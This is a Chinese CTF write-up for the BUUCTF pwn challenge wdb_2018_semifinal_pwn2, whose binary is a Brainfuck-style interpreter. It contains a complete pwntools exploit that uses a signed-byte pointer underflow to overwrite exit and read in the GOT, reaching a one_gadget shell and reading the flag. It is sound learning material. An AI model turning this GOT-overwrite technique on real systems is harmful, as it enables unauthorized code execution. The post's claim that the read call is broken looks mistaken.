[BUUCTF-pwn] wdb_2018_semifinal_pwn2
作者:互联网
又是一个虚拟机的题,干到一半想放弃了,搜不到wp又回来慢慢作。
先看题目:
for ( byte_6024C1 = 0; ; ++byte_6024C1 )
{
byte_6028E1 = byte_6024E0[byte_6024C1];
if ( !byte_6028E1 )
break;
byte_6028E0 = 0;
if ( byte_6028E1 == 62 ) // > 先后移指针
++byte_6024C0;
if ( byte_6028E1 == 60 ) // <
--byte_6024C0;
if ( byte_6028E1 == 43 ) // + 指针处加1
++byte_6020C0[byte_6024C0];
if ( byte_6028E1 == 45 ) // -
--byte_6020C0[byte_6024C0];
if ( byte_6028E1 == 46 ) // . 输出
_IO_putc(byte_6020C0[byte_6024C0], stdout);
if ( byte_6028E1 == 44 ) // , 输入
read(0, &byte_6020C0[byte_6024C0], 1uLL);
while ( byte_6028E1 == 91 && !byte_6020C0[byte_6024C0] )// [
{
if ( byte_6024E0[byte_6024C1] == 91 )
++byte_6028E0;
if ( byte_6024E0[byte_6024C1] == 93 )
{
v3 = byte_6028E0--;
if ( v3 == 1 )
break;
}
++byte_6024C1;
}
while ( byte_6028E1 == 93 && byte_6020C0[byte_6024C0] )// ]
{
if ( byte_6024E0[byte_6024C1] == 93 )
++byte_6028E0;
if ( byte_6024E0[byte_6024C1] == 91 )
{
v4 = byte_6028E0--;
if ( v4 == 1 )
break;
}
--byte_6024C1;
}
一共8个功能符,<>向前向后移动指针; +-指针处值增减;.,分别是输出字符和输入字符
但干到一半才发现这个逗号有问题
read(0, &byte_6020C0[byte_6024C0], 1uLL);
在一个指针前边加了一个&变成地址,也就是指针的指针,这就导致这里不能正确读入。也许大部分人到这里就放弃了。
再看另一个坑点:
--byte_6024C0;
这里用到的两个指针byte_6024C0, byte_6020C0都是byte类型的,byte只有1字节还是有符号的,所以处理只 处理输入只有到127,向后只能到-128这就造成输入串只能是128位,向后可处理范围到-128
再看下附近可修改的内容
0x602020 <printf@got.plt>: 0x00007f4693749810 0x00000000004006f6
0x602030 <memset@got.plt>: 0x00007f4693866a30 0x00007f46937c0280
0x602040 <read@got.plt>: 0x00007f46937eb310 0x00007f46937293d0
0x602050 <setvbuf@got.plt>: 0x00007f4693763e80 0x0000000000400756
0x602060 <exit@got.plt>: 0x0000000000400766 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <stdout>: 0x00007f4693ab9620 0x0000000000000000
0x602090 <stdin>: 0x00007f4693ab88e0 0x0000000000000000
0x6020a0 <stderr>: 0x00007f4693ab9540 0x0000000000000000
最远可以到达read,这正是想要的,把read改成one就OK了,但是到这里就需要128字符,然后就退出了,所以
第1步要造个循环:
把got.exit改为_start这个需要的字符数不多,修改完exit后基本快用完了,这个改完后还可以加几个<尽量向前移动指针,不过空间很小移不了多少。
第2步由于第一步指针已经向前移了不少,只需要移到read+3修改3位就好了。
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
libc_start_main_ret = 0x20840
else:
p = remote('node4.buuoj.cn', 25916)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xcd0f3, 0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
def change(tva, tvb):
tva = tva[::-1]
tvb = tvb[::-1]
sv = ''
for i in range(8):
sv += '<'
tmp = tva[i] - tvb[i]
if tmp < 0:
tmp = 0- tmp
if tmp > 0x80:
sv += '-'*(256-tmp)
else:
sv += '+'*tmp
elif tmp > 0:
if tmp > 0x80:
sv += '+'*(256-tmp)
else:
sv += '-'*tmp
return sv
#0x602060 <exit@got.plt>: 0x0000000000400766 <-- 0x400770
payload = '<'*(0xc0 - 0x68)+ change(p64(0x400766), p64(0x400770)) + '<'*(0x8+3) + '.<'*6
p.sendlineafter(b"Put the code: ", payload.encode())
'''
0x602020 <printf@got.plt>: 0x00007f4693749810 0x00000000004006f6
0x602030 <memset@got.plt>: 0x00007f4693866a30 0x00007f46937c0280
0x602040 <read@got.plt>: 0x00007f46937eb310 0x00007f46937293d0
0x602050 <setvbuf@got.plt>: 0x00007f4693763e80 0x0000000000400756
0x602060 <exit@got.plt>: 0x0000000000400766 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <stdout>: 0x00007f4693ab9620 0x0000000000000000
0x602090 <stdin>: 0x00007f4693ab88e0 0x0000000000000000
0x6020a0 <stderr>: 0x00007f4693ab9540 0x0000000000000000
'''
#gdb.attach(p, 'b*0x400b30')
one_gadget = one[6] #local 2 remote 6
target = libc_elf.sym['read']
payload = '<'*0x8 + change(p64(target), p64(one_gadget)) + ','
p.sendlineafter(b"Put the code: ", payload.encode())
p.sendline(b'cat /flag')
p.recv()
另外这时修改的时候也需要注意,如果把01改成FF应该是--,也就是找一个最近的路径。由于本地和远端的libc不同,one也不同,本地用2成功,远端用6成功,我这里第一步还可以多移几下然后后边可以多输入6个字符,也许其它的也能成功,不过概率不大。没试。
标签:tmp,wdb,BUUCTF,pwn2,libc,sv,0x0000000000000000,byte,指针 来源: https://blog.csdn.net/weixin_52640415/article/details/122356961